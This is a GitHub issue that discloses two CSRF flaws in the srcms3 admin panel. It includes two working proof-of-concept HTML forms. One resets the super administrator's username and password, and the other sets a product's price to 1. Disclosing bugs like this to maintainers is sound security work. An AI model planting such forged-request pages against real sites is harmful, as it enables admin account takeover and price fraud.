New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Two CSRF vulnerabilities that can change the super administrator's username,password and the prices of goods #1

Open
Wayizs opened this Issue Nov 15, 2018 · 0 comments

Comments

Projects
None yet
1 participant
@Wayizs

Wayizs commented Nov 15, 2018

When the super administrator logged in, there are two important POST methods without CSRF protection which can change his username,password and the prices of goods respectively. This can be achieved by cheating the super administrator to open the 2 pages when he logged in.

poc1(Change the username and the password)

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.10.21.66/srcms3/admin.php?m=Admin&c=manager&a=update" method="POST">
      <input type="hidden" name="username" value="admin" />
      <input type="hidden" name="email" value="1&#64;123456qq&#46;com" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

poc2(Change the price of goods)

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.10.21.66/srcms3/admin.php?m=Admin&c=gifts&a=update" method="POST">
      <input type="hidden" name="title" value="iphonex" />
      <input type="hidden" name="url" value="&#46;&#47;Public&#47;Index&#47;img&#47;400x500&#47;03&#46;jpg" />
      <input type="hidden" name="price" value="1" />
      <input type="hidden" name="sort" value="graphic" />
      <input type="hidden" name="id" value="6" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment